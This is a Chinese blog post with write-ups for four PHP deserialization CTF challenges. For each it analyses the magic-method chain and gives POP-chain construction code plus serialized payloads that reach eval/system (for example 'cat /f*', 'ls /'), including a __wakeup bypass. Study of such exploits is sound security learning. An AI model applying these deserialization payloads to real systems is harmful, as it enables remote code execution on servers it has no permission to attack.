关于序列化与反序列化解题(2)

news2024/11/19 5:41:50

1、 [NISACTF 2022]babyserialize

分析发现定义一个类,里面为两个对象赋值并调用__wakeup()魔术方法,用if语句//检查 $this->fun 是否等于 "show_me_flag",如果是,则调用 hint() 函数。

当对象的方法不存在时,__call() 方法会被调用,

  1. __call($from, $val):这里将 $val[0] 赋值给 $this->fun

  2. __toString():输出 $this->fun 并返回空格字符串。

  3. 定义了一个 __invoke 方法,这是一种魔术方法,它允许对象以函数方式调用。在这个方法中,首先调用 checkcheck 函数检查 $this->txw4ever,然后使用 eval 执行 $this->txw4ever 的内容。

分别定义了两个类和其中的属性,__wakeup()是一个 PHP 魔术方法,当对象被反序列化时会自动调用。然后调用 $ext 对象的 nisa() 方法,并将当前对象的属性 $x 作为参数传递给 nisa() 方法。

__call($fun1,$arg)  PHP 魔术方法,当调用不存在的方法时会自动触发。然后将传递给方法的第一个参数($arg[0])赋值给 $this->huang->fun。

调用__toString()函数:

  • 将对象的 $this->su 属性赋值给局部变量 $bb
  • 调用 $bb 作为函数,并将其返回值作为字符串返回。


 在four这个类中定义了一个公有属性和一个私人属性并且分别为它们赋值,调用set()函数,在给不可访问的属性赋值时, __set() 会被调用。将fun属性的值设为sixsixsix,当 $this->fun 等于 "sixsixsix" 时,把 $this->a 中的所有字符转换成小写字母。接下来要检查是否存在名为 ser 的 GET 参数。如果存在,它会尝试对该参数的值进行反序列化;如果不存在,它会高亮显示当前文件的内容。

接下来打算构造pop链:

1、找到关键函数eval()函数。触发eval()可以考虑在此插入system命令(NISA类)

2、要触发eval()就需要触发__invoke()当尝试将对象调用为函数时触发_invoke(),(NISA类)

3、将对象的 $this->su 属性赋值给局部变量 $bb,调用 $bb 作为函数,并将其返回值作为字符串返回。达到_invoke()触发的条件,又需要触发__toString(NISA类)

4、__toString触发条件是将对象当做字符串对待,strtolower()函数将对象内容转换成字符串形式可触发(four类)

5、__toString触发意味着触发set()函数,在给不可访问的属性赋值时, __set() 会被调用

Ilovetxw::__call()中,将$huang构造成four对象,通过$this->huang->fun=$arg[0];对私有属性$fun进行设置值

6、触发Ilovetxw::__call():在TianXiWei::__wakeup()中,构造$ext为Ilovetxw对象

构造payload:

<?php

class NISA{
    public $fun;
    public $txw4ever;
}

class TianXiWei{
    public $ext;
    public $x;
   
}

class Ilovetxw{
    public $huang;
    public $su;

   
}

class four{
    public $a;
    private $fun;

   
}

$e = new NISA();
$e -> txw4ever = "System('cat /f*');";
$d = new Ilovetxw();
$d -> su = $e;
$c = new four();
$c -> a = $d;
$b = new Ilovetxw();
$b -> huang = $c;
$a = new TianXiWei();
$a -> ext = $b;

echo urlencode(serialize($a));

?>

?ser=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22System%28%27cat+%2Ff%2A%27%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3BN%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D

最后得到flag

2、[SWPUCTF 2022 新生赛]1z_unserialize

<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?> 

定义类lyh这个类,并在这个类中定义三个属性并未url这个属性赋值。__destruct()当对象被销毁时会自动调用,用$this->lt给$a赋值,将a作为函数调用,将$this->lly作为参数传给它。

就是构造的关键函数。

得到:

O:3:"lyh":3:{s:3:"url";N;s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}

进行post传参。

得到这个页面后开始查找flag

3、[SWPUCTF 2022 新生赛]ez_ez_unserialize

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
} 

首先对于$x默认值是当前文件的路径(__FILE__)。构造函数 __construct($x)初始化对象时,将传入的参数 $x 赋值给属性 $x

魔术方法 __wakeup():当对象从序列化状态恢复时调用。如果 $this->x 不是当前文件的路径,则将其重置为当前文件的路径。

魔术方法 __destruct():对象销毁时调用,使用 highlight_file 函数显示 $this->x 文件的内容。最后检查 $_REQUEST['x'] 是否设置。如果设置了,则对其值进行反序列化操作。如果未设置 $_REQUEST['x'],则显示当前文件的内容。

关键函数是highlight_file(),

将x反序列化输出,flag在fllllllag.php文件里,所以要让fllllllag.php文件在x中,让x等于这个文件的序列化。但是前面还有wakeup函数,wakeup函数判断x是否等于当前文件目录,如果不等于,就使x等于当前文件目录。所以我们要想办法绕过wakeup函数。

首先执行查看内容需要触发__destruct()。意味着需要实例化对象触发__construct(),还需要绕过wakeup。构造payload:

得到  :O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

得到flag:

4、[MoeCTF 2021]unserialize

 <?php

class entrance
{
    public $start;

    function __construct($start)
    {
        $this->start = $start;
    }

    function __destruct()
    {
        $this->start->helloworld();
    }
}

class springboard
{
    public $middle;

    function __call($name, $arguments)
    {
        echo $this->middle->hs;
    }
}

class evil
{
    public $end;

    function __construct($end)
    {
        $this->end = $end;
    }

    function __get($Attribute)
    {
        eval($this->end);
    }
}

if(isset($_GET['serialize'])) {
    unserialize($_GET['serialize']);
} else {
    highlight_file(__FILE__);
} 

分析代码:定义了三个类,并对三个类分别作了处理

  1. entrance

    • 属性$start,在构造函数中初始化。
    • 方法
      • __construct($start):构造函数,接受一个参数并赋值给 $start
      • __destruct():析构函数,调用 $starthelloworld 方法。
  2. springboard

    • 属性$middle
    • 方法
      • __call($name, $arguments):魔术方法,当调用未定义的方法时触发,输出 $middlehs 属性。
  3. evil

    • 属性$end,在构造函数中初始化。
    • 方法
      • __construct($end):构造函数,接受一个参数并赋值给 $end
      • __get($Attribute):魔术方法,访问未定义或不可见的属性时触发,使用 eval 执行 $end

最后检查 $_GET['serialize'] 是否设置。如果设置了,则对其值进行反序列化操作。如果未设置 $_GET['serialize'],则显示当前文件的内容。

因为需要触发eval()函数,所以要触发__call方法,访问未定义或不可见的属性时触发,也就是需要访问evil不存在的属性,我们找到call,call的触发条件是调用不存在的方法,再找到destruct,触发它。

构造pop链:

<?php
class entrance
{
public $start;
}
 
class springboard
{
public $middle;
}
 
class evil
{
public $end;
}
 
$a = new entrance();
$a->start=new springboard();
$a->start->middle = new evil();
$a->start->middle->end = "system('ls /');";
$a = serialize($a);
echo $a;
?>

?serialize=O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:15:"system('ls /');";}}}

第一次构造的payload,查看flag位置

查到后可以直接用cat/flag输出flag

总结:php序列化与反序列化的题目在解题时一般先找eval()这种可以进行命令执行的关键函数,然后再用逆向思维退导需要触发的魔法方法,并以此作为依据构造pop链,得到payload。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1791933.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

618电视盒子哪个好?经销商总结热销电视盒子品牌排行榜

电视盒子是目前热度最高的数码产品&#xff0c;大家都在讨论电视盒子的资源问题&#xff0c;究竟电视盒子还值不值得入手&#xff1f;电视盒子哪个好&#xff1f;电视盒子的功能并没有受到影响&#xff0c;依然是不可缺少的&#xff0c;本期我要给大家盘点实体店销量最好的电视…

【Vue】——前端框架的基本使用

&#x1f4bb;博主现有专栏&#xff1a; C51单片机&#xff08;STC89C516&#xff09;&#xff0c;c语言&#xff0c;c&#xff0c;离散数学&#xff0c;算法设计与分析&#xff0c;数据结构&#xff0c;Python&#xff0c;Java基础&#xff0c;MySQL&#xff0c;linux&#xf…

MyBatis系统学习篇 - 分页插件

MyBatis是一个非常流行的Java持久层框架&#xff0c;它简化了数据库操作的代码。分页是数据库查询中常见的需求&#xff0c;MyBatis本身并不直接支持分页功能&#xff0c;但可以通过插件来实现&#xff0c;从而帮助我们在查询数据库的时候更加方便快捷 引入依赖 <dependen…

TCP/IP协议栈

一、TCP/IP协议栈和OSI参考模型对比 二、TCP/IP五层功能 三、TCP/IP模型的层间通信与数据封装 四、TCP/IP模型的层间通信与数据解封装

软考架构-计算机网络考点

会超纲&#xff0c;3-5分 网络分类 按分布范围划分 局域网 LAN 10m-1000m左右 房间、楼宇、校园 传输速率高 城域网 MAN 10km 城市 广域网 WAN 100km以上 国家或全球&#xff08;英特网&#xff09; 按拓扑结构划分 总线型&#xff1a;利用率低、干…

hcia datacom学习(11):vlan基础配置

1.vlan作用 &#xff08;1&#xff09;限制广播域&#xff1a;广播被限制在vlan内&#xff0c;不会在vlan间转发 &#xff08;2&#xff09;提高安全性&#xff1a;不同vlan的报文在传输时是相互隔离的 &#xff08;3&#xff09;灵活构建&#xff1a;交换机可以把不同终端分…

动态代理(黑马笔记)

一、BigStar 大明星类 package com.itheima.mydynamicproxy1; public class BigStar implements Star {//实现接口要重写里边的抽象方法private String name;public BigStar() {}public BigStar(String name) {this.name name;}//唱歌Override //表示重写接口中的方法public…

【C++课程学习】:类和对象(上)(类的基础详细讲解)

&#x1f381;个人主页&#xff1a;我们的五年 &#x1f50d;系列专栏&#xff1a;C课程学习 &#x1f389;欢迎大家点赞&#x1f44d;评论&#x1f4dd;收藏⭐文章 目录 &#x1f35f;1.1类的引出&#xff1a; &#x1f35f;1.2类的结构&#xff1a; &#x1f35f;1.3类的…

代码随想录算法训练营第四十四天 | 01背包问题理论基础、01背包问题滚动数组、416. 分割等和子集

背包问题其实有很多种&#xff0c;01背包是最基础也是最经典的&#xff0c;软工计科学生一定要掌握的。 01背包问题 代码随想录 视频讲解&#xff1a;带你学透0-1背包问题&#xff01;| 关于背包问题&#xff0c;你不清楚的地方&#xff0c;这里都讲了&#xff01;| 动态规划经…

金士顿U盘被写保护的解决方法

1.适用的U盘芯片信息 USB设备ID: VID 0951 PID 1666 设备供应商: Kingston 设备名称: DataTraveler 3.0 设备修订版: 0110 产品制造商: Kingston 产品型号: DataTraveler 3.0 产品修订版: PMAP 主控厂商: Phison(群联) 主控型号: PS2251-07(PS2307) - F/W 08.03.50 [2018-…

怎么监控上网记录?监控上网记录的软件推荐

监控上网记录&#xff0c;可以防止员工摸鱼&#xff0c;许多企业为提高工作效率、保障网络安全、确保合规性而采取的措施之一。以下是几种常见的监控上网记录的方法&#xff1a; 1、安装专业电脑监控软件&#xff1a; 如“安企神”、“域智盾”、“中科安企”等&#xff0c;这…

定个小目标之每天刷LeetCode热题(10)

这道题属于一道中等题&#xff0c;看来又得背题了&#xff0c;直接看题解吧&#xff0c;有两种解法 第一种动态规划法 状态&#xff1a;dp[i][j] 表示字符串s在[i,j]区间的子串是否是一个回文串 状态转移方程&#xff1a;当s[i] s[j] && (j - i < 2 || dp[i 1]…

【数据结构】二叉树的存储结构

二叉树的存储结构 导读一、存储结构二、顺序存储结构三、链式存储结构结语 导读 大家好&#xff0c;很高兴又和大家见面啦&#xff01;&#xff01;&#xff01; 在前面的内容中&#xff0c;我们已经认识了树这种新的数据结构以及二叉树这种特殊的树。 与前面我们学习的线性…

Android 调试桥_ADB命令

Android 调试桥 ADB全称 【Android Debug Bridge】 是Android SDK中的一个命令行工具&#xff0c;adb命令可以直接操作管理Android模拟器或真实的Android设备&#xff08;手机&#xff09; ADB的工作原理 启动一个 adb 客户端时&#xff0c;此客户端首先检查是否有已运行的 …

逐步掌握最佳Ai Agents框架-AutoGen 十 Web应用

AutoGen系列来到了第十篇&#xff0c;从入门AutoGen,到熟悉chat agent工作方式&#xff0c;再到深入把玩RAG文档AI助理应用。终于&#xff0c;我们要结合Streamlit来做智能Web应用了。 Streamlit Streamlit是一款Web开发框架&#xff0c;适用于python快速完成一些大模型、数学…

直播美颜工具解析:美颜SDK核心技术与性能优化方法

本篇文章&#xff0c;小编将深入解析直播美颜SDK的核心技术及其性能优化方法&#xff0c;以期为开发者提供有价值的参考。 一、美颜SDK核心技术 1.实时人脸检测与识别 美颜SDK的核心技术之一是实时人脸检测与识别。这项技术基于深度学习算法&#xff0c;能够快速、准确地识别…

实验9 静态路由配置

实验9 静态路由配置 一、 原理描述二、 实验目的三、 实验内容四、 实验配置五、 实验步骤 一、 原理描述 网络中的每个路由器都会维护一张路由表或转发表。路由表的表项记录着目的网络信息以及下一跳I 地址。路由表可以手动配置&#xff0c;也可以通过路由算法动态生成。静态…

kali配置静态ip

kali配置静态ip 因为一些环境需要&#xff0c;本地linux主机需要搭建一个桥接模式的网络&#xff0c;那么直接就在kali中配置了&#xff0c; 打开vim /etc/network/interfaces 这里就需要自己配置一下ip&#xff0c;网关&#xff0c;路由等内容 这里参考&#xff1a;参考链接 …

C++ STL初阶(2):string 的模拟实现

此文的背景是自己实现库中的string&#xff0c;由于string的模版实现较为困难&#xff0c;我们只实现最简单char版本。 1.命名空间分割 为了避免与库中的string冲突&#xff0c;我们使用一个自己的命名空间中来分离并实现所有内容&#xff0c;并且将所有的声明和定义相分离&…

Three.js-实现加载图片并旋转

1.实现效果 2. 实现步骤 2.1创建场景 const scene new THREE.Scene(); 2.2添加相机 说明&#xff1a; fov&#xff08;视场角&#xff09;&#xff1a;视场角决定了相机的视野范围&#xff0c;即相机可以看到的角度范围。较大的视场角表示更广阔的视野&#xff0c;但可能…